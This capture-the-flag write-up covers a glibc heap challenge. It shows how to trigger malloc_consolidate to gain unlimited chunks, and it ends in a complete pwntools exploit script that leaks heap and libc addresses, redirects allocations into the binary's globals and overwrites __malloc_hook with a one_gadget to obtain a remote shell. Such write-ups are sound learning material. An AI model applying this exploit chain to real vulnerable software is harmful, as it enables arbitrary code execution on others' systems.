Overview

You should first check out the gentei post as this is a sequel to it.

The difference between this and the old one is that here we can only allocate 2 chunks, also we could place a fake chunk size right before the number of remaining chunks.

Pain

At the beginning I fell into a rabbit hole with unlink attack. I managed to get to a point in which I had main_arena in the chunk array and could write into the fastbin pointers. But with no chunk allocations left there was nothing I could do even if I could control the fastbin.

A new road

Not knowing what to do I started reading the libc malloc source code, you can see it here

My idea was to somehow fake right before the number of remaining chunks and then call malloc_consolidate to place unsorted bin pointers right on that value to gain infinite chunks.

x

This was only possible by using size 1 as otherwise we would run into the unlink operations and there was no possible way to setup fake pointers at or near the fake chunks address so execution would get terminated.

I was triggering malloc_consolidate using _int_malloc by forcing scanf to create a very large chunk by giving it a lot of data.

My problem was that _int_malloc had this check which did not let me place a fake chunk size less than 2 * SIZE_SZ which was approximately 0x10, so the idea kinda went out the window or so I thought.

x

A saving grace

Stepping back I realised the malloc_consolidate from _int_free luckily did not have this check after it, but how to trigger it?

x

We needed meet if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD), FASTBIN_CONSOLIDATION_THRESHOLD being 0x10000 but how do this as we didnt have any large allocations?

Reading more source code we can see that at lines 4020 - 4022 in libc it actually combines the consolidated chunks’ sizes

x

So if we free a chunk that borders the top chunk we could in theory trigger the consolidation, and in testing I realised it worked.

Now that we had infinite chunks I just used the technique in the normal gentei to get RCE and called it a day.

Exploit script

from pwn import *

elf = context.binary = ELF("gentei-patched")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again
context.log_level = 'debug'
host, port = '34.107.108.126', 32132

def newp():
    if args.REMOTE:
        return remote(host, port)
    return process(elf.path)

def create(index, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"Guess: ", data)
def delete(index):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Index: ", str(index).encode())
def show(index):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"Index: ", str(index).encode())
    return p.recv(6)
def edit(index,data):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"Index: ", str(index).encode())
    p.sendlineafter(b"guess: ", data)
def guess(guesses):
    p.sendlineafter(b"> ", b"5")
    p.sendlineafter(b"Number of guesses: ", str(guesses).encode())

consolidate_scanf = b'1' * 0x500
location_of_unsorted_bin_ptr = 0x602138

p = newp()

create(0,b'\x89')
create(1,b'A')
guess(0x1)
delete(1)
delete(0)

### HEAP LEAK ###
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Index: ", b'0')
heap_leak = p.recvuntil(b'> ')[:-2]
heap_leak = u64(heap_leak.ljust(8,b'\x00'))
print(f'Leak: {hex(heap_leak)}')
heap_base = heap_leak - 0x20
print(f'heap_base: {hex(heap_base)}')

p.sendline(b'4')
p.sendlineafter(b"Index: ", b'0')
p.sendlineafter(b"guess: ", p64(0x6020e0))

delete(3)
#gdb.attach(p)

create(8,b'A')
delete(0)
edit(0, p64(0x602123))
create(6, b'A')
create(7, b'A')


GOT_addr = 0x602028
edit(7,b'B'*5 + p64(GOT_addr))
leak = show(3)
print(leak)
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - 429424
print(f'libc_base: {hex(libc_base)}')

one_gadget = libc_base + 0xd6fb1
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(7, b'B'*5 + p64(malloc_hook))
edit(3, p64(one_gadget))

## Trigger malloc to get shell
p.sendlineafter("> ", "1")
p.sendlineafter("Index: ", "5")

p.interactive()